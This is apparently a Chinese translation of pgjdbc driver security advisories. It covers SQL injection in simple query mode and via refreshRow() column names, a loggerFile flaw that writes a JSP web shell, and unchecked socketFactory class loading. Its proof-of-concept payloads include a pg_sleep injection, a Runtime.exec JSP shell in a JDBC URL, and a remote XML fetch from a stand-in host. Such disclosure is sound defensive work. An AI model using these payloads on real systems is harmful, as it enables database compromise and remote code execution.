shield 安全公告

当使用非默认连接属性 preferQueryMode=simple 并结合具有易受攻击的 SQL 的应用程序代码(该代码会否定参数值)时,可能会发生 SQL 注入。

当使用默认查询模式时,驱动程序中不存在漏洞。未覆盖查询模式的用户不受影响。

要利用此行为,必须满足以下条件

数值占位符必须紧接在减号(即 -)之前。在同一行上,第一个占位符之后必须有一个字符串值的第二个占位符。这两个参数都必须由用户控制。驱动程序在简单查询模式下运行时的先前行为将内联第一个参数的负值,并导致结果行被视为 - SQL 注释。这将扩展到下一个参数的开头,并导致该参数的引用被注释行消耗。如果该字符串参数包含换行符,则结果文本将以未转义的形式出现在结果 SQL 中。

在默认的扩展查询模式下运行时,这不会成为问题,因为参数值是单独发送到服务器的。只有在简单查询模式下,参数值才会内联到执行的 SQL 中,从而导致此问题。

PreparedStatement stmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSet rs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT --1,'
WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.

不要使用连接 propertypreferQueryMode=simple。(注意:如果您没有显式指定查询模式,那么您正在使用默认的扩展模式,并且不会受到此问题的影响。)

在 42.7.2、42.6.1、42.5.5、42.4.4、42.3.9、42.2.28 和 42.2.28-jre7 版本中已修复

42.2.26-jre6 版本没有可用的补丁

Paul Gerste 报告

这是什么类型的漏洞?哪些用户受到影响?

PGJDBC 实现的 java.sql.ResultRow.refreshRow() 方法没有对列名进行转义,因此包含语句终止符(例如:;)的恶意列名会导致 SQL 注入。这可能导致以应用程序的 JDBC 用户身份执行额外的 SQL 命令。

没有调用 ResultSet.refreshRow() 方法的用户应用程序不受影响。

如果用户应用程序通过其 JDBC 应用程序查询的底层数据库可能受到攻击者的控制,那么调用该方法的用户应用程序将受到影响。攻击需要攻击者诱骗用户对一个表名执行 SQL 语句,该表名的列名包含恶意 SQL,然后在 ResultSet 上调用 refreshRow() 方法。

例如

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

此示例包含一个有两列的表。第二列的名称被设计为包含一个语句终止符,后面跟着额外的 SQL。在查询此表的 ResultSet 上调用 ResultSet.refreshRow(),例如 SELECT * FROM refresh_row,会导致执行额外的 SQL 命令,例如 SELECT pg_sleep(10) 的调用。

由于多语句命令将包含多个结果,因此攻击者无法直接从这种方法中获取数据,因为 ResultSet.refreshRow() 方法将抛出异常。但是,攻击者可以执行任何任意 SQL,包括将数据插入另一个表,然后可以读取该表,或者任何其他 DML/DDL 语句。

请注意,应用程序的 JDBC 用户和模式所有者不必相同。作为特权用户执行的 JDBC 应用程序查询由潜在的恶意低特权用户拥有的数据库模式将容易受到攻击。在这种情况下,恶意用户可能能够构建一个模式,导致应用程序以特权用户身份执行命令。

问题是否已修复?用户应该升级到哪些版本?

是的,版本 42.2.26 和 42.4.1 已发布并修复了此问题。

42.2.26 版本是为了支持仍然运行 JDK 6 或 JDK 7 的旧客户端而提供的,这些客户端无法升级到 42.4.x 版本系列(需要 JDK 8+)。

我们不会为 43.3.x 版本系列发布版本,建议用户升级到 42.4.1 版本以获取修复。

用户是否有办法在不升级的情况下修复或缓解漏洞?

检查您是否没有使用ResultSet.refreshRow()方法。

如果您使用该方法,请确保执行该方法的代码不会连接到由未经身份验证或恶意用户控制的数据库。如果您的应用程序仅连接到具有固定模式且没有 DDL 权限的自身数据库,那么您将不会受到此漏洞的影响,因为它需要恶意构造的模式。

用于配置 pgjdbc 连接的连接属性不应暴露给未经身份验证的攻击者。虽然允许攻击者指定任意连接属性可能会导致系统被入侵,但这是一种允许未经身份验证的攻击者进行这种控制的应用程序缺陷。

pgjdbc 驱动程序的职责不是决定给定的日志文件位置是否可接受。使用 pgjdbc 驱动的最终用户应用程序必须确保文件名有效,并限制未经身份验证的攻击者提供任意值。这也不是 pgjdbc 驱动程序特有的,对于任何可以写入应用程序本地文件系统的库来说都是如此。

虽然我们不认为这是驱动程序的安全性问题,但我们已决定在驱动程序的下一个版本中删除 loggerFile 和 loggerLevel 连接属性。删除这些属性并不能使将 JDBC URL 或连接属性暴露给攻击者变得安全,我们仍然建议应用程序不要允许不受信任的用户指定任意连接属性。我们删除它们是为了防止误用,它们的功能可以委托给 java.util.logging。

如果您发现某个应用程序允许远程用户指定完整的 JDBC URL 或属性,而没有验证其内容,我们建议您通知应用程序所有者,因为这可能是该特定应用程序中的安全缺陷。

可以在 loggerFileName 连接参数中指定任意文件名,例如 "jdbc:postgresql://:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"

这将创建一个有效的 JSP 文件,可能导致远程代码执行。

从 42.3.3 版本开始,驱动程序会忽略 loggerFile。

升级到最新版本。

报告人:Allan Lou v3ged0ge@gmail.com

pgjdbc 基于通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供的类名实例化插件实例。

但是,驱动程序在实例化类之前没有验证该类是否实现了预期的接口。

以下是一个使用 Spring Framework 中的开箱即用类的攻击示例

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support. ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

第一个受影响的版本是 REL9.4.1208(它引入了 socketFactory 连接属性)